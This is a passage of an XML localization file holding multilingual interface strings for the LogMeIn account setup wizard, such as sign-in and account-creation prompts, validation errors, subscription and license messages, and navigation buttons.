<hu>Jelentkezzen be egy meglévő felhasználói fiókba</hu>
<pt-br>Registrar-se em uma conta existente</pt-br>
<nl>Meld u aan bij een bestaand account</nl>
</msg>
<msg name="PG1.CREATENEW">
<en>Create a new account</en>
<es>Crear una nueva cuenta</es>
<de>Neues Konto anlegen</de>
<fr>Créer un compte</fr>
<it>Crea un nuovo account</it>
<ru>Создать новую учетную запись</ru>
<ja>新しいアカウントを作成する</ja>
<zh>创建新帐户</zh>
<ko>새 계정 만들기</ko>
<en-gb>Create a new account</en-gb>
<hu>Új fiók létrehozása</hu>
<pt-br>Criar uma nova conta</pt-br>
<nl>Maak een nieuw account</nl>
</msg>
<msg name="PG1.AUTH_FAILED">
<en>Authentication failed!</en>
<es>Error de autenticación</es>
<de>Authentifizierung fehlgeschlagen!</de>
<fr>Échec de l'authentification !</fr>
<it>Autenticazione non riuscita!</it>
<ru>Сбой проверки подлинности!</ru>
<ja>認証に失敗しました。</ja>
<zh>验证失败!</zh>
<ko>인증 실패!</ko>
<en-gb>Authentication failed!</en-gb>
<hu>A hitelesítés sikertelen!</hu>
<pt-br>Falha na autenticação!</pt-br>
<nl>Verificatie mislukt!</nl>
</msg>
<msg name="PG1.NETERROR">
<en>Network error!</en>
<es>Error de red</es>
<de>Netzwerkfehler!</de>
<fr>Erreur réseau !</fr>
<it>Errore di rete!</it>
<ru>Сетевая ошибка!</ru>
<ja>ネットワーク エラーが発生しました。</ja>
<zh>网络错误!</zh>
<ko>네트워크 오류!</ko>
<en-gb>Network error!</en-gb>
<hu>Hálózati hiba!</hu>
<pt-br>Erro de rede!</pt-br>
<nl>Netwerk-fout!</nl>
</msg>
<msg name="PG2.TITLE">
<en>Create new account</en>
<es>Crear nueva cuenta</es>
<de>Neues Konto anlegen</de>
<fr>Créer un compte</fr>
<it>Crea un nuovo account</it>
<ru>Создать новую учетную запись</ru>
<ja>新しいアカウントの作成</ja>
<zh>创建新帐户</zh>
<ko>새 계정 만들기</ko>
<en-gb>Create new account</en-gb>
<hu>Hozzon létre új fiókot</hu>
<pt-br>Criar nova conta</pt-br>
<nl>Nieuw account maken</nl>
</msg>
<msg name="PG2.CREATENEW">
<en>Create new account:</en>
<es>Crear nueva cuenta:</es>
<de>Neues Konto anlegen:</de>
<fr>Créer un compte :</fr>
<it>Crea un nuovo account:</it>
<ru>Создать новую учетную запись:</ru>
<ja>新しいアカウントの作成:</ja>
<zh>创建新帐户:</zh>
<ko>새 계정 만들기:</ko>
<en-gb>Create new account:</en-gb>
<hu>Hozzon létre új fiókot:</hu>
<pt-br>Criar nova conta:</pt-br>
<nl>Nieuw account maken:</nl>
</msg>
<msg name="PG2.ENTERMAIL">
<en>Enter your email:</en>
<es>Introduzca su correo electrónico:</es>
<de>E-Mail-Adresse eingeben:</de>
<fr>Entrez votre email :</fr>
<it>Immettere l'indirizzo e-mail:</it>
<ru>Введите свой адрес электронной почты:</ru>
<ja>メール アドレス:</ja>
<zh>输入您的电子邮件:</zh>
<ko>전자 메일 입력:</ko>
<en-gb>Enter your email:</en-gb>
<hu>Adja meg az e-mail címét:</hu>
<pt-br>Insira seu email:</pt-br>
<nl>Voer uw e-mailadres in:</nl>
</msg>
<msg name="PG2.CONFMAIL">
<en>Confirm email:</en>
<es>Confirmar correo electrónico:</es>
<de>E-Mail-Adresse bestätigen:</de>
<fr>Confirmer l’email :</fr>
<it>Conferma indirizzo e-mail:</it>
<ru>Подтвердите адрес электронной почты:</ru>
<ja>メール アドレス (再入力):</ja>
<zh>确认电子邮件:</zh>
<ko>전자 메일 확인:</ko>
<en-gb>Confirm email:</en-gb>
<hu>E-mail cím megerősítése:</hu>
<pt-br>Confirmar email:</pt-br>
<nl>Bevestig het e-mailadres:</nl>
</msg>
<msg name="PG2.ENTERPASS">
<en>Enter a password:</en>
<es>Introduzca una contraseña:</es>
<de>Passwort eingeben:</de>
<fr>Entrez un mot de passe :</fr>
<it>Immettere una password:</it>
<ru>Введите пароль:</ru>
<ja>パスワード:</ja>
<zh>输入密码:</zh>
<ko>암호 입력:</ko>
<en-gb>Enter a password:</en-gb>
<hu>Írjon be egy jelszót:</hu>
<pt-br>Insira uma senha:</pt-br>
<nl>Voer een wachtwoord in:</nl>
</msg>
<msg name="PG2.IPLANTOUSE">
<en>I plan to use LogMeIn:</en>
<es>Tengo previsto utilizar LogMeIn:</es>
<de>Geplanter Verwendungszweck von LogMeIn:</de>
<fr>J'envisage d'utiliser LogMeIn :</fr>
<it>Intendo utilizzare LogMeIn:</it>
<ru>Я планирую использовать LogMeIn:</ru>
<ja>LogMeIn の使用目的:</ja>
<zh>我打算使用 LogMeIn:</zh>
<ko>LogMeIn을 사용할 계획입니다.</ko>
<en-gb>I plan to use LogMeIn:</en-gb>
<hu>LogMeIn tervezett felhasználása:</hu>
<pt-br>Pretendo usar o LogMeIn:</pt-br>
<nl>Ik ben van plan LogMeIn te gebruiken:</nl>
</msg>
<msg name="PG2.EMAILPREF">
<en>Email preferences (optional):</en>
<es>Preferencias de correo electrónico (opcional):</es>
<de>E-Mail-Einstellungen (optional):</de>
<fr>Préférences d'email (facultatif) :</fr>
<it>Preferenze e-mail (opzionale):</it>
<ru>Параметры электронной почты (дополнительные):</ru>
<ja>メール設定 (オプション):</ja>
<zh>电子邮件参数选择(可选):</zh>
<ko>전자 메일 기본 설정(선택사항):</ko>
<en-gb>Email preferences (optional):</en-gb>
<hu>E-mail beállításai (opcionális):</hu>
<pt-br>Preferências de email (opcional):</pt-br>
<nl>Voorkeurinstellingen voor e-mail (optioneel):</nl>
</msg>
<msg name="PG2.KEEPMEINFORMED">
<en>Keep me informed about scheduled system upgrades and other news about %PRODUCTNAME and my account.</en>
<es>Manténganme informado acerca de las actualizaciones planificadas del sistema y otras novedades acerca de %PRODUCTNAME y mi cuenta.</es>
<de>Ich möchte über geplante Upgrades und andere Neuigkeiten über %PRODUCTNAME und mein Konto informiert werden.</de>
<fr>Me tenir informé des mises à jour système planifiées et d'autres informations concernant %PRODUCTNAME et mon compte.</fr>
<it>Informa su aggiornamenti di sistema pianificati e altre novità su %PRODUCTNAME e sull'account personale.</it>
<ru>Сообщать мне о запланированных обновлениях системы и другие новости о %PRODUCTNAME и моей учетной записи.</ru>
<ja>システム アップグレードや %PRODUCTNAME とアカウントに関するその他の最新情報の通知を受け取る。</ja>
<zh>如果有预定的系统升级和其他有关 %PRODUCTNAME 与我的帐户的新闻,请通知我。</zh>
<ko>예정된 시스템 업그레이드와 %PRODUCTNAME 및 내 계정에 대한 기타 소식을 받아보겠습니다.</ko>
<en-gb>Keep me informed about scheduled system upgrades and other news about %PRODUCTNAME and my account.</en-gb>
<hu>Folyamatos tájékoztatást kérek az ütemezett rendszerfrissítésekről, továbbá a %PRODUCTNAME programmal és a fiókommal kapcsolatos egyéb hírekről.</hu>
<pt-br>Mantenha-me informado sobre atualizações programadas do sistema e outras notícias sobre o %PRODUCTNAME e minha conta.</pt-br>
<nl>Hou mij op de hoogte van geplande systeemupgrades en ander nieuws over %PRODUCTNAME en mijn account.</nl>
</msg>
<msg name="PG2.PRIVACYLABEL">
<en>Privacy:</en>
<es>Privacidad:</es>
<de>Datenschutz:</de>
<fr>Confidentialité :</fr>
<it>Privacy:</it>
<ru>Конфиденциальность:</ru>
<ja>プライバシー:</ja>
<zh>隐私:</zh>
<ko>개인정보:</ko>
<en-gb>Privacy:</en-gb>
<hu>Titokvédelem:</hu>
<pt-br>Privacidade:</pt-br>
<nl>Privacy:</nl>
</msg>
<msg name="PG2.PRIVACY">
<en>Your information is secure and kept strictly confidential according to our privacy policy.</en>
<es>Su información está protegida y se mantiene en la más estricta confidencialidad, en virtud de nuestra política de privacidad.</es>
<de>Ihre Daten sind sicher und werden gemäß unseren Datenschutzbestimmungen streng vertraulich behandelt.</de>
<fr>Vos informations sont sécurisées et conservées en toute confidentialité en conformité avec notre politique de confidentialité.</fr>
<it>Le informazioni dell'utente sono protette e vengono mantenute strettamente riservate come da nostra informativa sulla privacy.</it>
<ru>Ваши данные защищены и содержатся в строгой секретности в соответствии с нашей политикой конфиденциальности.</ru>
<ja>お客様の情報は、弊社のプライバシー ポリシーに従って安全かつ厳密に管理されます。</ja>
<zh>根据我们的隐私政策,您的信息将受到保护并严格保密。</zh>
<ko>사용자의 정보는 안전하며 개인정보 정책에 따라 엄격하게 기밀로 유지됩니다. </ko>
<en-gb>Your information is secure and kept strictly confidential according to our privacy policy.</en-gb>
<hu>Az Ön adatait adatvédelmi irányelveinknek megfelelően, biztonságban és szigorúan bizalmasan tároljuk.</hu>
<pt-br>Suas informações estão seguras e são mantidas estritamente confidenciais de acordo com nossa política de privacidade.</pt-br>
<nl>Uw gegevens zijn beveiligd en worden strikt vertrouwelijk bewaard volgens ons privacybeleid.</nl>
</msg>
<msg name="PG2.BTN_VIEWPOLICY">
<en>View Privacy Policy</en>
<es>Ver política de privacidad</es>
<de>Datenschutzbestimmungen anzeigen</de>
<fr>Afficher la politique de confidentialité</fr>
<it>Visualizza l'informativa sulla privacy</it>
<ru>Просмотр политики конфиденциальности</ru>
<ja>プライバシー ポリシーの表示</ja>
<zh>查看隐私政策</zh>
<ko>개인정보 정책 보기</ko>
<en-gb>View Privacy Policy</en-gb>
<hu>Adatvédelmi irányelvek megtekintése</hu>
<pt-br>Exibir política de privacidade</pt-br>
<nl>Privacybeleid weergeven</nl>
</msg>
<msg name="PG2.BTN_FINISH">
<en>Finish</en>
<de>Enden</de>
<fr>Finir</fr>
<es>Finalizar</es>
<it>Fine</it>
<ru>Готово</ru>
<ja>終了</ja>
<zh>结束</zh>
<ko>마침</ko>
<en-gb>Finish</en-gb>
<hu>Befejezés</hu>
<pt-br>Concluir</pt-br>
<nl>Voltooien</nl>
</msg>
<msg name="PG2.EMAIL_NOMATCH">
<en>The email address doesn't match.</en>
<es>La dirección de correo electrónico no coincide</es>
<de>Die E-Mail-Adressen stimmen nicht überein.</de>
<fr>Les adresses email ne concordent pas.</fr>
<it>L'indirizzo e-mail non corrisponde.</it>
<ru>Адрес электронной почты не совпадает.</ru>
<ja>電子メール アドレスが一致しません。</ja>
<zh>电子邮件地址不匹配!</zh>
<ko>전자 메일 주소가 일치하지 않습니다.</ko>
<en-gb>The email address doesn't match.</en-gb>
<hu>Az e-mail cím nem egyezik.</hu>
<pt-br>O endereço de email não corresponde.</pt-br>
<nl>Het e-mailadres komt niet overeen.</nl>
</msg>
<msg name="PG2.PASS_NOMATCH">
<en>The password doesn't match.</en>
<es>La contraseña no coincide</es>
<de>Die Passwörter stimmen nicht überein.</de>
<fr>Les mots de passe ne concordent pas.</fr>
<it>La password non corrisponde.</it>
<ru>Пароль не совпадает.</ru>
<ja>パスワードが一致しません。</ja>
<zh>密码不匹配!</zh>
<ko>암호가 일치하지 않습니다.</ko>
<en-gb>The password doesn't match.</en-gb>
<hu>A jelszó nem egyezik.</hu>
<pt-br>A senha não corresponde.</pt-br>
<nl>Het wachtwoord komt niet overeen.</nl>
</msg>
<msg name="PG2.EMAIL_EMPTY">
<en>The email address cannot be empty.</en>
<es>La dirección de correo electrónico no puede estar en blanco</es>
<de>Das Feld für die E-Mail-Adresse darf nicht leer sein.</de>
<fr>L'adresse email ne peut pas être vide.</fr>
<it>Il campo dell'indirizzo e-mail non può essere vuoto.</it>
<ru>Поле адреса электронной почты не может быть пустым.</ru>
<ja>電子メール アドレスは空白にできません。</ja>
<zh>电子邮件地址不能为空!</zh>
<ko>전자 메일 주소를 공란으로 둘 수 없습니다.</ko>
<en-gb>The email address cannot be empty.</en-gb>
<hu>Az e-mail cím mező nem lehet üres.</hu>
<pt-br>O endereço de email não pode ficar em branco.</pt-br>
<nl>Het e-mailadres kan niet leeg zijn.</nl>
</msg>
<msg name="PG2.PASS_EMPTY">
<en>The password cannot be empty.</en>
<es>La contraseña no puede estar en blanco</es>
<de>Das Feld für das Passwort darf nicht leer sein.</de>
<fr>Le mot de passe ne peut pas être vide.</fr>
<it>Il campo della password non può essere vuoto.</it>
<ru>Поле пароля не может быть пустым.</ru>
<ja>パスワードは空白にできません。</ja>
<zh>密码不能为空!</zh>
<ko>암호를 공란으로 둘 수 없습니다.</ko>
<en-gb>The password cannot be empty.</en-gb>
<hu>A jelszó mező nem lehet üres.</hu>
<pt-br>A senha não pode ficar em branco.</pt-br>
<nl>Het wachtwoord kan niet leeg zijn.</nl>
</msg>
<msg name="PG2.CANNOTREGISTER">
<en>Unable to register account at %PRODUCTNAME.\nCheck your network connection and try again.</en>
<es>No es posible registrar una cuenta en %PRODUCTNAME.\nCompruebe la conexión de red y vuelva intentarlo.</es>
<de>Ihr Konto bei %PRODUCTNAME konnte nicht registriert werden.\nBitte überprüfen Sie Ihre Netzwerkverbindung und versuchen Sie es erneut.</de>
<fr>Impossible d'enregistrer votre compte sur %PRODUCTNAME.\nVérifiez votre connexion réseau et réessayez.</fr>
<it>Impossibile registrare l'account in %PRODUCTNAME.\nVerificare la connessione di rete e riprovare.</it>
<ru>Невозможно зарегистрировать учетную запись на %PRODUCTNAME.\nПроверьте сетевое подключение и повторите попытку.</ru>
<ja>%PRODUCTNAME にアカウントを登録できません。\nネットワーク接続をチェックして、もう 1 度やり直してください。</ja>
<zh>无法在 %PRODUCTNAME 上注册帐户。\n检查您的网络连接并重试。</zh>
<ko>%PRODUCTNAME에 계정을 등록할 수 없습니다.\n네트워크 연결을 확인하고 다시 시도하십시오.</ko>
<en-gb>Unable to register account at %PRODUCTNAME.\nCheck your network connection and try again.</en-gb>
<hu>A %PRODUCTNAME fiók regisztrációja sikertelen.\nEllenőrizze hálózati kapcsolatát és próbálkozzon újra.</hu>
<pt-br>Não é possível registrar a conta no %PRODUCTNAME.\nVerifique sua conexão de rede e tente novamente.</pt-br>
<nl>Kan account niet aanmelden bij %PRODUCTNAME.\nControleer uw netwerkverbinding en probeer het opnieuw.</nl>
</msg>
<msg name="PG2.FREELICGRANTED">
<en>Account created.  Subscription assigned: LogMeIn Free.\nNote:  A LogMeIn Pro trial has already been used on this computer. Only one trial is allowed per computer.</en>
<de>Konto wurde erstellt.  Zugewiesenes Abo: LogMeIn Free.\nHinweis: Eine LogMeIn-Pro-Testversion wurde auf diesem Computer bereits genutzt. Pro Computer ist nur eine Testversion zulässig.</de>
<es>Cuenta creada.  Suscripción asignada: LogMeIn Free.\nNota: En este ordenador ya se ha utilizado una versión de prueba de LogMeIn Pro. Solo se permite una versión de prueba por ordenador.</es>
<fr>Compte créé.  Abonnement affecté : LogMeIn Free.\nRemarque : un essai LogMeIn Pro a déjà été effectué sur cet ordinateur. Chaque ordinateur est limité à un essai.</fr>
<it>Account creato.  Sottoscrizione assegnata: LogMeIn Free.\nNota:  Una versione di prova di LogMeIn Pro è già stata utilizzata su questo computer. È consentita una sola prova per computer.</it>
<ru>Учетная запись создана.  Назначенная подписка: LogMeIn Free.\nПримечание. Ознакомительная версия LogMeIn Pro уже использовалась на данном компьютере. На каждом компьютере ознакомительное использование разрешено только один раз.</ru>
<ja>アカウントが作成されました。  LogMeIn Free の利用期間が割り当てられました。\n注意:  このコンピュータでは、既に LogMeIn Pro 試用版を使用したことがあります。 使用できる試用版は、コンピュータごとに 1 つのみです。</ja>
<zh>帐户已创建。  分配的订阅:LogMeIn Free。\n注意:本机已在使用 LogMeIn Pro 试用版。 每台电脑只允许运行一种试用产品。</zh>
<ko>계정이 이미 만들어졌음.  할당된 가입: LogMeIn Free.\n참고:  이 컴퓨터에서 이미 LogMeIn Pro 평가 버전이 사용되고 있습니다. 평가 버전은 컴퓨터당 하나만 허용됩니다.</ko>
<en-gb>Account created.  Subscription assigned: LogMeIn Free.\nNote:  A LogMeIn Pro trial has already been used on this computer. Only one trial is allowed per computer.</en-gb>
<hu>Fiók létrehozva.  Hozzárendelt előfizetés: LogMeIn Free.\nMegjegyzés: a LogMeIn Pro próbaverzióját korábban már használták ezen a számítógépen. Számítógépenként csak egy próbaverzió telepítése megengedett.</hu>
<pt-br>Conta criada.  Assinatura atribuída: LogMeIn Free.\nObservação:  Uma avaliação do LogMeIn Pro já foi usada neste computador. Apenas uma avaliação é permitida por computador.</pt-br>
<nl>Account aangemaakt.  Abonnement toegewezen: LogMeIn Free.\nOpmerking:  er wordt al een LogMeIn Pro proefversie gebruikt op deze computer. Er is slechts één proefperiode per computer toegestaan.</nl>
</msg>
<msg name="PG3.YOURACC">
<en>Your account:</en>
<es>Su cuenta:</es>
<de>Ihr Konto:</de>
<fr>Votre compte :</fr>
<it>Account personale:</it>
<ru>Ваша учетная запись:</ru>
<ja>アカウント:</ja>
<zh>您的帐户:</zh>
<ko>사용자 계정:</ko>
<en-gb>Your account:</en-gb>
<hu>Az Ön fiókja:</hu>
<pt-br>Sua conta:</pt-br>
<nl>Uw account:</nl>
</msg>
<msg name="PG3.CHOOSEPROFILE">
<en>Please choose your user profile:</en>
<es>Elija su perfil de usuario:</es>
<de>Bitte wählen Sie ein Benutzerprofil:</de>
<fr>Sélectionnez votre profil utilisateur :</fr>
<it>Scegliere il profilo utente:</it>
<ru>Выберите профиль пользователя:</ru>
<ja>ユーザ プロファイルを選択して\nください:</ja>
<zh>请选择您的用户配置文件:</zh>
<ko>사용자 프로필을 선택하십시오.</ko>
<en-gb>Please choose your user profile:</en-gb>
<hu>Kérjük, válassza ki a felhasználói profilját:</hu>
<pt-br>Escolha o perfil do usuário:</pt-br>
<nl>Selecteer uw gebruikersprofiel:</nl>
</msg>
<msg name="PG3.SUBSCRIPTIONS">
<en>Available subscriptions:</en>
<es>Suscripciones disponibles:</es>
<de>Verfügbare Abos:</de>
<fr>Abonnements disponibles :</fr>
<it>Sottoscrizioni disponibili:</it>
<ru>Доступные подписки:</ru>
<ja>選択可能な利用期間:</ja>
<zh>可用的订阅:</zh>
<ko>사용 가능한 가입:</ko>
<en-gb>Available subscriptions:</en-gb>
<hu>Választható előfizetések:</hu>
<pt-br>Assinaturas disponíveis:</pt-br>
<nl>Beschikbare abonnementen:</nl>
</msg>
<msg name="PG3.COMPDESC">
<en>Computer description:</en>
<es>Descripción del ordenador:</es>
<de>Computerbeschreibung:</de>
<fr>Description de l'ordinateur :</fr>
<it>Descrizione del computer:</it>
<ru>Описание компьютера:</ru>
<ja>コンピュータの説明:</ja>
<zh>计算机订阅:</zh>
<ko>컴퓨터 설명:</ko>
<en-gb>Computer description:</en-gb>
<hu>A számítógép leírása:</hu>
<pt-br>Descrição do computador:</pt-br>
<nl>Beschrijving van computer:</nl>
</msg>
<msg name="PG3.CLICKASSIGN">
<en>Click Assign to associate the above settings to this host computer.</en>
<es>Haga clic en Asignar para asociar los ajustes anteriores a este ordenador host.</es>
<de>Klicken Sie auf „Zuweisen“, um die Einstellungen oben mit diesem Hostcomputer zu verknüpfen.</de>
<fr>Cliquez sur Affecter pour associer les réglages ci-dessus à cet ordinateur hôte.</fr>
<it>Fare clic su Assegna per associare le impostazioni sopra a questo computer host.</it>
<ru>Нажмите «Назначить», чтобы связать приведенные выше настройки с данным хост-компьютером.</ru>
<ja>[割り当て] をクリックすると、上の設定がこのホスト コンピュータに\n関連付けられます。</ja>
<zh>单击“指定”可将上述设置与此主机关联。</zh>
<ko>이 호스트 컴퓨터에 위 설정을 적용하려면 할당을 클릭하십시오.</ko>
<en-gb>Click Assign to associate the above settings to this host computer.</en-gb>
<hu>A fenti beállítások ezen gazdagéppel való társításához kattintson a Hozzárendelés lehetőségre.</hu>
<pt-br>Para associar as configurações acima a este computador host, clique em Atribuir.</pt-br>
<nl>Klik op Toewijzen om de instellingen hierboven aan deze hostcomputer te koppelen.</nl>
</msg>
<msg name="PG3.RESTART_MSG">
<en>The %PRODUCTNAME service must be restarted before the changes take effect.</en>
<es>Debe reiniciar el servicio de %PRODUCTNAME para que los cambios surtan efecto.</es>
<de>Sie müssen den %PRODUCTNAME-Dienst neu starten, damit die Änderungen übernommen werden.</de>
<fr>Le service %PRODUCTNAME doit être relancé pour la prise en compte des modifications.</fr>
<it>Per rendere effettive le modifiche, è necessario riavviare il servizio di %PRODUCTNAME.</it>
<ru>Необходимо перезапустить службу %PRODUCTNAME для применения изменений.</ru>
<ja>変更内容を有効にするには、%PRODUCTNAME サービスを\n再起動する必要があります。</ja>
<zh>要使所作的更改生效,必须重新启动 %PRODUCTNAME 服务。</zh>
<ko>변경사항을 적용하기 전에 %PRODUCTNAME 서비스를 다시 시작해야 합니다.</ko>
<en-gb>The %PRODUCTNAME service must be restarted before the changes take effect.</en-gb>
<hu>A módosítások érvénybe léptetéséhez újra kell indítani a %PRODUCTNAME szolgáltatást.</hu>
<pt-br>É necessário reiniciar o serviço do %PRODUCTNAME para que as alterações surtam efeito.</pt-br>
<nl>De %PRODUCTNAME-service moet opnieuw worden gestart om de wijzigingen van kracht te laten worden.</nl>
</msg>
<msg name="PG3.RESTART_NOW">
<en>Restart LogMeIn now</en>
<es>Reiniciar LogMeIn ahora</es>
<de>LogMeIn jetzt neu starten</de>
<fr>Redémarrer LogMeIn maintenant</fr>
<it>Riavvia ora LogMeIn</it>
<ru>Перезапустить LogMeIn сейчас</ru>
<ja>今すぐ LogMeIn を再起動</ja>
<zh>立即重新启动 LogMeIn</zh>
<ko>LogMeIn 지금 다시 시작</ko>
<en-gb>Restart LogMeIn now</en-gb>
<hu>A LogMeIn újraindítása most</hu>
<pt-br>Reiniciar o LogMeIn agora</pt-br>
<nl>LogMeIn nu opnieuw starten</nl>
</msg>
<msg name="PG3.BTN_ASSIGN">
<en>Assign</en>
<es>Asignar</es>
<de>Zuweisen</de>
<fr>Affecter</fr>
<it>Assegna</it>
<ru>Назначить</ru>
<ja>割り当て</ja>
<zh>指定</zh>
<ko>할당</ko>
<en-gb>Assign</en-gb>
<hu>Hozzárendelés</hu>
<pt-br>Atribuir</pt-br>
<nl>Toewijzen</nl>
</msg>
<msg name="EMAIL_EMPTY">
<en>The email address cannot be empty.</en>
<es>La dirección de correo electrónico no puede estar en blanco.</es>
<de>Das Feld für die E-Mail-Adresse darf nicht leer sein.</de>
<fr>L'adresse email ne peut pas être vide.</fr>
<it>Il campo dell'indirizzo e-mail non può essere vuoto.</it>
<ru>Поле адреса электронной почты не может быть пустым.</ru>
<ja>電子メール アドレスは空白にできません。</ja>
<zh>电子邮件地址不能为空!</zh>
<ko>전자 메일 주소를 공란으로 둘 수 없습니다.</ko>
<en-gb>The email address cannot be empty.</en-gb>
<hu>Az e-mail cím mező nem lehet üres.</hu>
<pt-br>O endereço de email não pode ficar em branco.</pt-br>
<nl>Het e-mailadres kan niet leeg zijn.</nl>
</msg>
<msg name="PASS_EMPTY">
<en>The password cannot be empty.</en>
<es>La contraseña no puede estar en blanco.</es>
<de>Das Feld für das Passwort darf nicht leer sein.</de>
<fr>Le mot de passe ne peut pas être vide.</fr>
<it>Il campo della password non può essere vuoto.</it>
<ru>Поле пароля не может быть пустым.</ru>
<ja>パスワードは空白にできません。</ja>
<zh>密码不能为空!</zh>
<ko>암호를 공란으로 둘 수 없습니다.</ko>
<en-gb>The password cannot be empty.</en-gb>
<hu>A jelszó mező nem lehet üres.</hu>
<pt-br>A senha não pode ficar em branco.</pt-br>
<nl>Het wachtwoord kan niet leeg zijn.</nl>
</msg>
<msg name="EMAIL_NOMATCH">
<en>The email addresses do not match.</en>
<es>Las direcciones de correo electrónico no coinciden.</es>
<de>Die E-Mail-Adressen stimmen nicht überein.</de>
<fr>Les adresses email ne concordent pas.</fr>
<it>Gli indirizzi e-mail non corrispondono.</it>
<ru>Адреса электронной почты не совпадают.</ru>
<ja>電子メール アドレスが一致しません。</ja>
<zh>电子邮件地址不匹配!</zh>
<ko>전자 메일 주소가 일치하지 않습니다.</ko>
<en-gb>The email addresses do not match.</en-gb>
<hu>Az e-mail címek nem egyeznek.</hu>
<pt-br>Os endereços de email não correspondem.</pt-br>
<nl>De e-mailadressen komen niet overeen.</nl>
</msg>
<msg name="PASS_NOMATCH">
<en>The passwords do not match.</en>
<es>Las contraseñas no coinciden.</es>
<de>Die Passwörter stimmen nicht überein.</de>
<fr>Les mots de passe ne concordent pas.</fr>
<it>Le password non corrispondono.</it>
<ru>Пароли не совпадают.</ru>
<ja>パスワードが一致しません。</ja>
<zh>密码不匹配!</zh>
<ko>암호가 일치하지 않습니다.</ko>
<en-gb>The passwords do not match.</en-gb>
<hu>A jelszavak nem egyeznek.</hu>
<pt-br>As senhas não conferem.</pt-br>
<nl>De wachtwoorden komen niet overeen.</nl>
</msg>
<msg name="PERSONAL_PASS_NOMATCH">
<en>The Personal Passwords do not match.</en>
<es>Las contraseñas personales no coinciden.</es>
<de>Die persönlichen Passwörter stimmen nicht überein.</de>
<fr>Les mots de passe personnels ne concordent pas.</fr>
<it>Le password personali non coincidono.</it>
<ru>Персональные пароли не совпадают.</ru>
<ja>個人用パスワードが一致しません。</ja>
<zh>个人密码不匹配。</zh>
<ko>개인 암호가 일치하지 않습니다.</ko>
<en-gb>The Personal Passwords do not match.</en-gb>
<hu>A Személyes jelszavak nem egyeznek.</hu>
<pt-br>As senhas pessoais não conferem.</pt-br>
<nl>De persoonlijke wachtwoorden komen niet overeen.</nl>
</msg>
<msg name="NO_LIC_SELECTED">
<en>Please select a subscription.</en>
<es>Seleccione una suscripción.</es>
<de>Bitte wählen Sie ein Abo.</de>
<fr>Sélectionnez un abonnement.</fr>
<it>Selezionare una sottoscrizione.</it>
<ru>Выберите подписку.</ru>
<ja>利用期間を選択してください。</ja>
<zh>请选择订阅。</zh>
<ko>가입을 선택하십시오.</ko>
<en-gb>Please select a subscription.</en-gb>
<hu>Válasszon előfizetést.</hu>
<pt-br>Selecione uma assinatura.</pt-br>
<nl>Selecteer een abonnement.</nl>
</msg>
<msg name="ERROR_SET_LICENSE">
<en>An error occurred while trying to set the license.</en>
<es>Se ha producido un error al intentar establecer la licencia.</es>
<de>Beim Festlegen der Lizenz ist ein Fehler aufgetreten.</de>
<fr>Erreur lors de la tentative de définition de licence.</fr>
<it>Si è verificato un errore durante il tentativo di impostare la licenza.</it>
<ru>Возникла ошибка во время попытки установки лицензии.</ru>
<ja>ライセンスの設定でエラーが発生しました。</ja>
<zh>在尝试设置许可证时出现错误。</zh>
<ko>라이센스를 설정하는 동안 오류가 발생했습니다.</ko>
<en-gb>An error occurred while trying to set the license.</en-gb>
<hu>Hiba történt a licensz beállítása során.</hu>
<pt-br>Ocorreu um erro ao tentar definir a licença.</pt-br>
<nl>Tijdens het instellen van de licentie is een fout opgetreden.</nl>
</msg>
<msg name="ERROR_GET_LICENSE">
<en>An error occurred while trying to get the license info</en>
<de>Beim Abrufen der Lizenzinformationen ist ein Fehler aufgetreten.</de>
<es>Se ha producido un error al intentar obtener la información de la licencia</es>
<fr>Erreur lors de la récupération des infos de licence</fr>
<it>Si è verificato un errore durante il tentativo ottenere informazioni sulla licenza</it>
<nl>Tijdens het ophalen van de licentie-informatie is een fout opgetreden</nl>
<pt-br>Ocorreu um erro ao tentar obter as informações de licença</pt-br>
<hu>Hiba történt a licencinformációk lekérdezése során</hu>
<ru>Возникла ошибка при попытке получения данных лицензии</ru>
<ja>ライセンス情報を取得する際にエラーが発生しました。</ja>
<ko>라이센스 정보를 가져오는 동안 오류가 발생했습니다.</ko>
<zh>在尝试获得许可证信息时出现错误</zh>
</msg>
</cat>
</cat>
<cat name="GENERAL">
<msg name="BTN_BACK">
<en>&lt; Back</en>
<de>&lt; Zurück</de>
<es>&lt; Atrás</es>
<fr>&lt; Précédent</fr>
<it>&lt; Indietro</it>
<ru>&lt; Назад</ru>
<ja>&lt; 戻る</ja>
<zh>&lt; 返回</zh>
<ko>&lt; 뒤로</ko>
<en-gb>&lt; Back</en-gb>
<hu>&lt; Vissza</hu>
<pt-br>&lt; Voltar</pt-br>
<nl>&lt; Vorige</nl>
</msg>
<msg name="BTN_NEXT">
<en>Next &gt;</en>
<de>Weiter &gt;</de>
<es>Siguiente &gt;</es>
<fr>Suivant &gt;</fr>
<it>Avanti &gt;</it>
<ru>Далее &gt;</ru>
<ja>次へ &gt;</ja>
<zh>下一步 &gt;</zh>
<ko>다음 &gt;</ko>
<en-gb>Next &gt;</en-gb>
<hu>Tovább &gt;</hu>
<pt-br>Avançar &gt;</pt-br>
<nl>Volgende &gt;</nl>
</msg>
<msg name="BTN_DETAILS">
<en>Details</en>
<de>Details</de>
<es>Detalles</es>
<fr>Détails</fr>
<it>Dettagli</it>
<ru>Подробности</ru>
<ja>詳細</ja>
<zh>详情</zh>
<ko>세부사항</ko>
<en-gb>Details</en-gb>
<hu>Részletek</hu>
<pt-br>Detalhes</pt-br>
<nl>Details</nl>
</msg>
<msg name="BTN_DELALL">
<en>Remove All</en>
<es>Quitar todo</es>
<de>Alle löschen</de>
<fr>Supprimer tout</fr>
<it>Elimina tutti</it>
<ru>Удалить все</ru>
<ja>すべて削除</ja>
<zh>全部删除</zh>
<ko>모두 제거</ko>
<en-gb>Remove All</en-gb>
<hu>Összes eltávolítása</hu>
<pt-br>Remover tudo</pt-br>
<nl>Alles verwijderen</nl>
</msg>
<msg name="BTN_USEINANEWMSG">
<en>Use in a new message with my email client</en>
<es>Usar en un nuevo mensaje con mi cliente de correo electrónico</es>
<de>In neuer Nachricht mit meinem E-Mail-Client verwenden</de>
<fr>Utiliser dans un nouveau message avec mon client de messagerie</fr>
<it>Usa in un nuovo messaggio con il client e-mail corrente</it>
<ru>Использовать в новом сообщении с моим почтовым клиентом</ru>
<ja>電子メール クライアントで新しいメッセージに使用</ja>
<zh>利用我的电子邮件客户端在新消息中使用</zh>
<ko>새 메시지에서 내 전자 메일 클라이언를 사용하여 작성합니다.</ko>
<en-gb>Use in a new message with my email client</en-gb>
<hu>Felhasználás új üzenetben a saját e-mail klienssel</hu>
<pt-br>Usar uma nova mensagem com meu cliente de email</pt-br>
